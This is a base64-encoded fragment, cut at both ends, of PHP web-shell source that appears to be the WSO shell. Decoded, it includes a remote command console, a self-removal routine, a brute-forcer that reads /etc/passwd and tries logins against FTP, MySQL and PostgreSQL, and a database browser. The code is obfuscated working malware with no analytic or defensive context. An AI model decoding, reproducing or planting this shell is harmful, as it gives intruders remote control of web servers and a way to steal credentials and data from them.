IsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgIGlmKCR0ZW1wKSANCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuaHRtbHNwZWNpYWxjaGFycygkdGVtcCkuJzwvcHJlPic7IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gdHJ1ZTsgDQogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOyANCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gZmFsc2U7IA0KICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBlY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7IA0KICAgICAgICAkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOyANCiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSB7IA0KICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsgDQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOyANCiAgICAgICAgICAgICAgICBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsgDQogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOyANCiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7IA0KICAgICAgICBleGl0OyANCiAgICB9IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBlY2hvICI8c2NyaXB0PiANCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7IA0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOyANCnZhciBjdXIgPSAwOyANCmZ1bmN0aW9uIGtwKGUpIHsgDQogICAgdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7IA0KICAgIGlmKG4gPT0gMzgpIHsgDQogICAgICAgIGN1ci0tOyANCiAgICAgICAgaWYoY3VyPj0wKSANCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1cisrOyANCiAgICB9IGVsc2UgaWYobiA9PSA0MCkgeyANCiAgICAgICAgY3VyKys7IA0KICAgICAgICBpZihjdXIgPCBjbWRzLmxlbmd0aCkgDQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXItLTsgDQogICAgfSANCn0gDQpmdW5jdGlvbiBhZGQoY21kKSB7IA0KICAgIGNtZHMucG9wKCk7IA0KICAgIGNtZHMucHVzaChjbWQpOyANCiAgICBjbWRzLnB1c2goJycpOyANCiAgICBjdXIgPSBjbWRzLmxlbmd0aC0xOyANCn0gDQogIA0KPC9zY3JpcHQ+IjsgDQogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOyANCiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsgDQogICAgICAgIGlmKCR2ID09ICcnKSB7IA0KICAgICAgICAgICAgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOyANCiAgICAgICAgICAgIGNvbnRpbnVlOyANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOyANCiAgICB9IA0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpIA0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOyANCiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGQuY2YuYWxpYXMudmFsdWUpO2lmKGQuY2YuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7IA0KICAgIH0gDQogICAgZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOyANCiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgeyANCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsgDQogICAgZGllKCdieWUhJyk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgeyANCiAgDQogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKSANCiAgICAgICAgaWYoQHVubGluayhwcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkgDQogICAgICAgICAgICBkaWUoJ1NoZWxsIGhhcyBiZWVuIHJlbW92ZWQnKTsgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOyANCiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpIA0KICAgICAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlN1aWNpZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD5SZWFsbHkgd2FudCB0byByZW1vdmUgdGhlIHNoZWxsPzxicj48YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsXCd5ZXNcJykiPlllczwvYT48L2Rpdj4nOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7IA0KICAgIHdzb0hlYWRlcigpOyANCiAgICBpZiggaXNzZXQoJF9QT1NUWydwcm90byddKSApIHsgDQogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsgDQogICAgICAgIGlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7IA0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsgDQogICAgICAgICAgICAgICAgaWYoISRmcCkgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgICAgICAgICAkcmVzID0gQGZ0cF9sb2dpbigkZnAsICRsb2dpbiwgJHBhc3MpOyANCiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7IA0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7IA0KICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsgDQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsgDQogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzdHIpOyANCiAgICAgICAgICAgICAgICBAcGdfY2xvc2UoJHJlcyk7IA0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgICAgICRzdWNjZXNzID0gMDsgDQogICAgICAgICRhdHRlbXB0cyA9IDA7IA0KICAgICAgICAkc2VydmVyID0gZXhwbG9kZSgiOiIsICRfUE9TVFsnc2VydmVyJ10pOyANCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgeyANCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJy9ldGMvcGFzc3dkJyk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApIA0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsgDQogICAgICAgICAgICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiOiIsICRsaW5lKTsgDQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncmV2ZXJzZSddKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCA9ICIiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wIC49ICRsaW5lWzBdWyRpXTsgDQogICAgICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkdG1wKTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsgDQogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCRfUE9TVFsnZGljdCddKTsgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkgDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSB0cmltKCRsaW5lKTsgDQogICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydsb2dpbiddKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmUpLic8YnI+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7IA0KICAgIH0gDQogICAgZWNobyAnPGgxPkZUUCBicnV0ZWZvcmNlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48dGQ+PHNwYW4+VHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2EnXSkuJyI+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+Jw0KICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c2VydmVyIHZhbHVlPSIxMjcuMC4wLjEiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbCBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cmV2ZXJzZSB2YWx1ZT0xIGNoZWNrZWQ+IHJldmVyc2UgKGxvZ2luIC0+IG5pZ29sKTwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwYW4+RGljdGlvbmFyeTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nDQogICAgICAgIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7IA0KICAgIGVjaG8gJzwvZGl2Pjxicj4nOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsgDQogICAgY2xhc3MgRGJDbGFzcyB7IA0KICAgICAgICB2YXIgJHR5cGU7IA0KICAgICAgICB2YXIgJGxpbms7IA0KICAgICAgICB2YXIgJHJlczsgDQogICAgICAgIGZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpIHsgDQogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOyANCiAgICAgICAgICAgICAgICAgICAgaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOyANCiAgICAgICAgICAgICAgICAgICAgaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZmV0Y2goKSB7IA0KICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgeyANCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgIHsgDQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cXVlcnkoIlNIT1cgZGF0YWJhc2VzIik7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgIH0gDQogICAgICAgIGZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsgDQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsgDQogICAgICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfbGFzdF9lcnJvcigpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgeyANCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpIA0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNx